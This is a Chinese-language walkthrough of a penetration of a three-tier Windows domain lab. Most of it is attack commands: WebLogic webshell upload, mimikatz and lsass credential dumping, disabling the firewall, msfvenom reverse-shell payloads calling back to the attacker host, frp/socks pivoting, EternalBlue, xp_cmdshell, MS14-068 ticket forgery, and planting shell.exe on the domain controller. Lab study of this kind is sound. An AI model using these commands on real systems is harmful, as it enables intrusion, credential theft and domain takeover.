一次三层域环境靶场内网渗透 |
您所在的位置:网站首页 › 属兔的生肖好不好 › 一次三层域环境靶场内网渗透 |
这篇文章的目的在于熟悉各种内网中的利用方法,不局限于某一种方法达成目的。 靶场地址:链接:https://pan.baidu.com/s/18p_iFMgEhd_v1I9pr3X5cQ?pwd=1212 提取码:1212 --来自百度网盘超级会员V1的分享 靶场环境介绍 域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务 (10.10.10.8) 仅主机 目录还原密码:redteam!@#45 主机名:owa 域管理员:administrator:Admin12345 域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派) (10.10.10.18) 仅主机 主机名:sqlserver-2008 本地管理员:Administrator:Admin12345 域账户:redteam\sqlserver:Server12345 (被配置了约束委派) Mssql:sa:sa 域内个人 PC:Windows 7 (10.10.10.7、10.10.20.7) 双网卡,仅主机 主机名:work-7 本地管理员:john:admin!@#45 域账户:redteam\saul:admin!@#45 单机服务器:Windows server r2 + weblogic (NAT:192.168.88.136、仅主机:10.10.20.12) DMZ区 主机名:weblogic 本地管理员:Administrator:Admin12345 weblogic :weblogic:weblogic123(访问 http://ip:7001) weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd) 前置知识域环境下常见用户身份 Domain Admin:域管理员(默认对域控制器有完全控制权) Domain Computers:域内机器(就是在域环境内的主机) Domain Controllers:域控制器(AD,内网渗透就为了拿下它) Domain Users:域用户主要针对Domain Admins/Enterprise Admins 相关⽤户收集操作命令: net localgroup #查看本地用户组 net user #查看本地用户 whoami /all ⽤户权限 net config workstation #查看登录信息 net group /domain #获取域用户组信息 net user /domain #查看域用户信息 wmic useraccount get /all #涉及域用户详细信息 net group "Domain Admins" /domain #查询域管理员账户 net group "Enterprise Admins" /domain #查询管理员用户组 net group "Domain Controllers" /domain #查询域控制器域横向传递扩散 at&schtasks扩散(通过135、445端口) SMB协议扩散 (通过445端口) WMI(windows management instrumentation)协议扩散 (通过135端口) PTH、PTT、PTK哈希票据传递 RDP横向域内提权 MS14-068 信息收集(外网渗透测试信息收集阶段) nmap -T4 -p- -Pn -A -v 192.168.88.136发现开放了7001端口weblogic服务,且为管理后台为默认路径,在端口后加上/console/自动跳转 使用GUI漏洞利用工具进行漏洞检测,发现存在漏洞,当前用户为weblogic\administrator 获取当前路径: echo %cd%右键F12随便查看一张图片的路径 接下来只要找到该图片所在路径就能间接找出网站根目录: dir C:\ /s /b | find "login_WebLogic_branding.png"成功找到图片路径: C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png接下来在该目录下上传马子即可: 冰蝎连接
还可以使用WeblogicExploit-GUI by sp4z的工具,支持直接注入冰蝎、蚁剑内存码,且有返回路径的,成功注入内存码上线. 拿下了DMZ区域的机器后,除了权限维持和权限提升,对于横向渗透通常分为两个方面 判断机器是否为多网卡机器,然后扫描其他网段,尝试发现更多存在漏洞的机器 尽量收集机器上的敏感信息,比如敏感内部文件、账号密码本等,帮助后面快速突破防线由于拿下的机器已经是administrator权限,所以可以直接进行信息收集 信息收集(weblogic服务器) 是否为杀软环境先查看一下进程里面是否存在杀软,未发现杀毒软件 提供两个杀软检测平台地址: • https://i.hacking8.com/tiquan • http://bypass.tidesec.com/bycms 发现该服务器为双网卡,除了对外的192.168.88.0/24网段外,还有内网10.10.20.0/24网段 常见的判断是否存在域环境的方法有: ipconfig /all #根据主DNS后缀判断是否存在域环境经过验证发现当前服务器并不存在域环境
因为要进行横向扩散,考虑使用密码喷洒,因此需抓取本地密码,为了方面直接上线cs进行操作,上传cs木马 方法一:抓取hash注:hash为单向不可逆加密,只能通过彩虹表碰撞,可能无法解密,有点碰运气的成分 获取到hash Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::尝试将hash进行解密,解密网站: https://www.cmd5.com/成功获取当前服务器administrator密码为Admin12345 方法二:利用mimikatz获取明文密码windows系统密码hash加密算法(LM Hash 和NTLM Hash加密算法) 个人系统在windows vista之后,服务器系统在Windows 2003之后均使用NTLM Hash(大部分情况都是NTLM hash) NTML hash也能解出密码来,但这种方法好处是在遇到没法解密的情况下可以利用NTML hash进行横向传递 使用mimikatz抓取密码注意事项: 1、windows2012以上版本默认关闭wdigest,导致攻击者无法从内存中获取明文密码 2、windows2012以下版本如果安装了KB2871997补丁,同样会导致无法获取明文密码 解决措施: 利用注册表操作开启Wdigest Auth 值进行获取,修改注册表,打开wdiget reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /fcs自带了mimikatz功能,在becon输入 logonpasswordsProcdump+mimikatz结合获取密码 优点:仅上传procdump到受害服务器抓取密码dmp文件,在本机使用mimikatz对dmp文件进行还原。由于该文件是微软自带,不用做免杀(遇到有杀软可以采用) procdump下载链接: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump procdump -accepteula -ma lsass.exe lsass.dmp #使用procdump导出密码hash文件 mimikatz# privilege::debug mimikatz# sekurlsa::minidump lsass.dmp #载入dmp mimikatz# sekurlsa::logonpasswords full #读取密码 登录服务器远程桌面开启/关闭远程桌面: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #开启远程桌面 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0 #关闭远程桌面查看当前主机系统防火墙开启或关闭 netsh firewall show config #查看防火墙状态直接关闭防火墙(容易被发现) netsh advfirewall set allprofiles state off放行从本地 3389 端口进来/出去的流量(入站/出站规则) netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow #入站规则 netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=out localport=3389 action=allow #出站规则启用远程桌面进行连接 rdesktop -u Administrator -p Admin12345 192.168.88.136:3389 fscan内网扫描上传内网大杀器fscan进行扫描(遇到有杀软需要做免杀) shell fscan.exe -h 10.10.20.1/24扫描结果显示存在一台10.10.20.7的win7主机,且存在MS17-010永恒之蓝漏洞 这里给出互相转发会话的步骤: 1、将CS会话转发至MSF上 MSF创建监听 msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http //这个payload要跟CS设置的一致 payload => windows/meterpreter/reverse_http msf6 exploit(multi/handler) > set lhost 192.168.88.130 lhost => 192.168.88.130 msf6 exploit(multi/handler) > set lport 4444 端口需要与cs监听器端口保持一致,因为cs的后门是反弹的4444端口 lport => 4444 msf6 exploit(multi/handler) > runCS建立一个监听器,CS的监听器分为两种类型:beacon和foreign。 beacon为CS内置监听器,当我们在目标系统执行payload,会弹回一个beacon的shell给CS foreign主要是提供给外部使用的一些监听器,比如想要利用CS派生一个meterpreter的shell,来进行后续的内网渗透,这时就应该使用外部监听器![]() CS becon中执行spawn进行转发
2、MSF转发会话至CS 查看当前会话id sessions -lCS创建监听器 使用exploit/windows/local/payload_inject模块转发会话 use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 192.168.88.130 //cs主机地址 set LPORT 6666 //随意设置监听端口,需要和cs保持一致 set session 1 //设置需要派送的meterpreter set DisablePayloadHandler true //禁止产生一个新的handler成功接收会话 但是为了shell的稳定性,我这里还是生成了一个msf木马上传进行操作 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.130 lport=4444 -f exe -o test.exe将test.exe通过冰蝎或cs进行上传,执行上线 成功接收会话
当到达内网某个网段时,该网段被控机器不直接通外网,我们的攻击机无法直接访问,我们就需要借助内网可出网机器构建多层代理。 内网代理(1)上传第三方代理工具进行代理,如frp、ngrok、natapp等第三方工具 使用frp进行内网代理 内网frp进行多层代理可以参考这篇文章 https://mp.weixin.qq.com/s/vkngH509M3lzrhWeoLnB_A frps: [common] bind_addr = 0.0.0.0 # 服务端监听地址 bind_port = 7000 # 服务端监听端口,默认7000 frpc: [common] server_addr = 192.168.88.130 # 连接的服务器IP地址 server_port = 7000 # 连接的服务器端口 [plugin_socks5] type = tcp # 连接类型为tcp local_ip = 10.10.20.12 # 本地ip local_port = 8888 # 本地监听端口 remote_port = 1080 # 远程服务器端口 use_encryption = true #启⽤加密 plugin = socks5 # 使⽤插件socks5代理运行方法 服务端启动进行监听 frps.exe -c frps.ini 客户端启动 frpc.exe -c frpc.ini访问192.168.88.130:1080端口等同于访问10.10.20.12:8888 内网代理(2)使用MSF的socks5模块进行代理 添加路由 由于攻击机无法直接访问10.10.20.1/24网段,因此通过weblogic服务器添加路由进行访问。这样相当于在受害主机1上做了条直通路由,使得攻击机可以访问原本访问不了的10.10.20.0/24网段 注:在meterpreter中存在路由即可访问目标网段,但目标网段无法向外访问kali run get_local_subnets # 查看目标网络中的路由信息 run autoroute -s 10.10.20.0/24 # 往session里面添加目标网段的路由10.10.20.0/24 run autoroute -p # 查看添加的路由,查看session中的路由是否添加成功将会话在后台挂起 background使用socks5代理模块进行代理 msf5 exploit(multi/handler) > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > exploit [*] Auxiliary module running as background job 0. [*] Starting the SOCKS proxy serverLinux系统连接代理 编辑/etc/proxychains4.conf,添加socks5代理 socks5 192.168.88.130 1080使用方法: proxychains4 nmap -T4 -p- 10.10.20.1/24常见故障: 配合 proxychains4 nmap 扫描对方内网的时候出现: 解决方法: vim /etc/proxychains4.conf将proxy_dns注释掉即可 windows系统连接代理 windows建议使用 SocksCap64 或 Proxifier配置代理/代理链 使用Proxifier配置代理服务器,代理端口 默认所有程序都走代理,可以通过配置代理规则,让指定的程序走代理 使用ms17-010漏洞检测模块进一步验证是否存在漏洞,以及网络是否能访问到目标主机 msf6 exploit(multi/handler) > search ms17-010 msf6 exploit(multi/handler) > use 3 //ms17-010漏洞检测模块 msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.20.7 rhosts => 10.10.20.7 msf6 auxiliary(scanner/smb/smb_ms17_010) > run利用ms17-010攻击模块进行攻击 msf6 exploit(multi/handler) > search ms17-010 msf6 exploit(multi/handler) > use 0 #ms17-010漏洞利用模块 msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.20.7 msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 5555(4444端口已经使用了,注意不要冲突) msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit关于这里为什么要使用正向的payload。 假如我们使用的是反向的payload,那么win7就要去寻找我们kali的路由,但是win7主机中没有kali的路由,那么就会导致我们的反弹shell失败。 我们使用一个正向的payload,我们的kali攻击机就会去主动寻找win7的服务器,这个时候我们因为在session1(weblogic会话)上做了一条路由,因为session1中是存在20网段中的路由的,我们的流量会通过session1上的路由连接至win7,所以我们可以正常进行连接。 成功获取10.10.20.7 win7主机会话 当前用户权限为系统权限 至此,通过ms17-010成功拿下win7主机 信息收集(域内win7)继续进行信息收集 shell #进行cmd chcp 65001 #改编码 ipconfig /all发现当前主机为域内主机 域名为:redteam.red 获取域控IP ping redteam.red nslookup redteam.red获得域控IP: 10.10.10.8 双网卡:网卡1:10.10.20.7(已知信息),网卡2:10.10.10.7(新的网段) 继续添加路由 run get_local_subnets # 查看目标网络中的路由信息 run autoroute -s 10.10.10.0/24 # 往session里面添加目标网段的路由10.10.20.0/24 run autoroute -p # 查看添加的路由,查看session中的路由是否添加成功查看当前域用户信息 net user /domain查看域管理员账户和域控制器 net group "Domain Admins" /domain net group "Domain Controllers" /domain可知域管理员账户为:Administrator,域控制器Host Name=owa.redteam.red 抓取本地密码 load kiwi #加载mimikatz creds_all: #列举所有凭据获得域成员账号:saul 密码:admin!@#45 上传fscan继续横向扩撒 fscan.exe -np -h 10.10.10.1/24 #-np = no ping发现存在主机10.10.10.18,且sqlserver 数据库账户密码为sa:sa 通过代理进行连接 使用xp_cmdshell进行提权 #启用xp_cmdshell: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; #调用xp_cmdshell执行系统权限 EXEC master..xp_cmdshell 'whoami';至此,又成功拿下sqlserver服务器系统权限 信息收集(sqlserver) EXEC master..xp_cmdshell 'ipconfig /all';发现当前服务器为域内主机,开启3389进行远程连接 netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow #开启3389端口 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #开启远程桌面 ms14-068漏洞提权域控域内普通用户直接获取域控system权限,漏洞利用条件: 域控没有打MS14-068的补丁(KB3011780) 拿下一台域内计算机 拥有这台域内计算机的域用户密码和Sid 漏洞原理:Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会受到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。 如果攻击者获取了域内一台计算机的 shell 权限,同时知道该域用户的用户名、SID、密码,如果存在该漏洞即可获取域管理员权限。 在kerberos 协议中 ——> Kerberos 认证,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。ms14-068 漏洞就是 经过身份验证的Client在TGT中伪造高权限的PAC。该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。 漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法,以及PAC的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生。 利用方法: 1、上传mimikatz,运行抓取账户密码和sid,一条命令运行如下 meterpreter#upload /home/mimikatz.exe C:\\mimikatz.exe #上传mimikatz.exe到域内主机 meterpreter#upload /home/ms14-068.exe C:\\ms14-068.exe #上传ms14-068.exe到域内主机 shell #进入cmd .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit >1.txt systeminfo #查看有无打补丁 whoami /user #查看当前用户SID2、利用ms14-068.exe 工具生成伪造的kerberos协议认证证书 ms-14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip/IP ms-14-068.exe -u [email protected] -p Server12345 -s S-1-5-21-13590078990-1682372173-163803504-1126 -d 10.10.10.8会在当前目录下生成证书:[email protected] 3、使用mimikatz导入生成的ccache文件,导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。 kerberos::purge kerberos::ptc 证书名字4、上传使用PsExec.exe以管理员权限运行连接域控 psexec64.exe \\域控ip cmd.exe -accepteula psexec64.exe \\10.10.10.8 cmd.exe -accepteula5、复制木马文件到域控 copy shell.exe \\owa.redteam.red\c$6、利用计划任务进行上线 使用at命令添加计划任务(at命令适用于操作系统 < windows 2012) at \\owa.redteam.red\c$ 22:10 c:\\shell.exe #设置22:10执行shell.exe使用schtask添加计划任务(schtask命令适用于操作系统 >= Winidows 2012) schtasks /create /s 192.168.xx.xx /ru "SYSTEM" /tn adduser /sc DALLY /tr c:attack.bat /F #创建adduser任务对应执行的文件 schtasks /run /s 192.168.xx.xx /tn adduser /i #运行adduser任务 schtasks /delete /s 192.168.xx.xx /tn adduser /f #删除adduser任务至此,成功拿下域控 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |